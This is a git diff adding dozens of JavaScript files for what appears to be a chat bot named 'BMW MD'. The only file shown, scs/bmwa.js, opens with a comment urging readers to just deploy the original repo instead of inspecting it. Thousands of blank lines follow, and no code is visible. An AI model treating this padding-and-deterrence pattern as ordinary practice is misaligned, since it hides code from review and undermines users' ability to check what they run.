scs/bmwc.js | 102 +
scs/bmwca.js | 70 +
scs/bmwce.js | 36 +
scs/bmwcii.js | 455 ++
scs/bmwcmd.js | 169 +
scs/bmwcmds.js | 2 +
scs/bmwco.js | 390 ++
scs/bmwcu.js | 29 +
scs/bmwd.js | 602 ++
scs/bmwda.js | 129 +
scs/bmwde.js | 33 +
scs/bmwdo.js | 24 +
scs/bmwdu.js | 189 +
scs/bmwee.js | 205 +
scs/bmweo.js | 1337 ++++
scs/bmweu.js | 103 +
scs/bmwf.js | 31 +
scs/bmwfet.js | 63 +
scs/bmwh.js | 94 +
scs/bmwhrk.js | 334 +
scs/bmwi.js | 215 +
scs/bmwj.js | 280 +
scs/bmwjj.js | 1 +
scs/bmwm.js | 144 +
scs/bmwmenu.js | 11 +
scs/bmwmn.js | 2 +
scs/bmwmor.js | 1 +
scs/bmwn.js | 26 +
scs/bmwo.js | 39 +
scs/bmwp.js | 37 +
scs/bmwplns.js | 119 +
scs/bmwq.js | 90 +
scs/bmwqan.js | 1 +
scs/bmwqpa.js | 1 +
scs/bmwr.js | 114 +
scs/bmwrepo.js | 1338 ++++
scs/bmws.js | 74 +
scs/bmwt.js | 62 +
scs/bmwtes.js | 1 +
scs/bmwu.js | 51 +
scs/bmwue.js | 991 +++
scs/bmwui.js | 39 +
scs/bmwuu.js | 1037 +++
scs/bmwv.js | 88 +
scs/bmww.js | 173 +
scs/bmwx.js | 103 +
scs/bmwy.js | 309 +
scs/bmwz.js | 50 +
58 files changed, 71652 insertions(+)
create mode 100644 scs/bmwa.js
create mode 100644 scs/bmwae.js
create mode 100644 scs/bmwba.js
create mode 100644 scs/bmwbe.js
create mode 100644 scs/bmwbi.js
create mode 100644 scs/bmwbo.js
create mode 100644 scs/bmwboo.js
create mode 100644 scs/bmwbu.js
create mode 100644 scs/bmwbut.js
create mode 100644 scs/bmwbutton.js
create mode 100644 scs/bmwc.js
create mode 100644 scs/bmwca.js
create mode 100644 scs/bmwce.js
create mode 100644 scs/bmwcii.js
create mode 100644 scs/bmwcmd.js
create mode 100644 scs/bmwcmds.js
create mode 100644 scs/bmwco.js
create mode 100644 scs/bmwcu.js
create mode 100644 scs/bmwd.js
create mode 100644 scs/bmwda.js
create mode 100644 scs/bmwde.js
create mode 100644 scs/bmwdo.js
create mode 100644 scs/bmwdu.js
create mode 100644 scs/bmwee.js
create mode 100644 scs/bmweo.js
create mode 100644 scs/bmweu.js
create mode 100644 scs/bmwf.js
create mode 100644 scs/bmwfet.js
create mode 100644 scs/bmwh.js
create mode 100644 scs/bmwhrk.js
create mode 100644 scs/bmwi.js
create mode 100644 scs/bmwj.js
create mode 100644 scs/bmwjj.js
create mode 100644 scs/bmwm.js
create mode 100644 scs/bmwmenu.js
create mode 100644 scs/bmwmn.js
create mode 100644 scs/bmwmor.js
create mode 100644 scs/bmwn.js
create mode 100644 scs/bmwo.js
create mode 100644 scs/bmwp.js
create mode 100644 scs/bmwplns.js
create mode 100644 scs/bmwq.js
create mode 100644 scs/bmwqan.js
create mode 100644 scs/bmwqpa.js
create mode 100644 scs/bmwr.js
create mode 100644 scs/bmwrepo.js
create mode 100644 scs/bmws.js
create mode 100644 scs/bmwt.js
create mode 100644 scs/bmwtes.js
create mode 100644 scs/bmwu.js
create mode 100644 scs/bmwue.js
create mode 100644 scs/bmwui.js
create mode 100644 scs/bmwuu.js
create mode 100644 scs/bmwv.js
create mode 100644 scs/bmww.js
create mode 100644 scs/bmwx.js
create mode 100644 scs/bmwy.js
create mode 100644 scs/bmwz.js
diff --git a/scs/bmwa.js b/scs/bmwa.js
new file mode 100644
index 0000000..31308af
--- /dev/null
+++ b/scs/bmwa.js
@@ -0,0 +1,15268 @@
+
+
+/**
+Yoo bro what au looking for
+Just deploy the bot with original repo
+
+BMW MD
+
+Made by dev Ibrahim Adams
+
+
+ _.u[[/;:,. .odMMMMMM'
+ .o888UU[[[/;:-. .o@P^ MMM^
+ oN88888UU[[[/;::-. dP^
+ dNMMNN888UU[[[/;:--. .o@P^
+ ,MMMMMMN888UU[[/;::-. o@^
+ NNMMMNN888UU[[[/~.o@P^
+ 888888888UU[[[/o@^-..
+ oI8888UU[[[/o@P^:--..
+ .@^ YUU[[[/o@^;::---..
+ oMP ^/o@P^;:::---..
+ .dMMM .o@^ ^;::---...
+ dMMMMMMM@^` `^^^^
+YMMMUP^
+
+ Unclone version 😂🤣
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
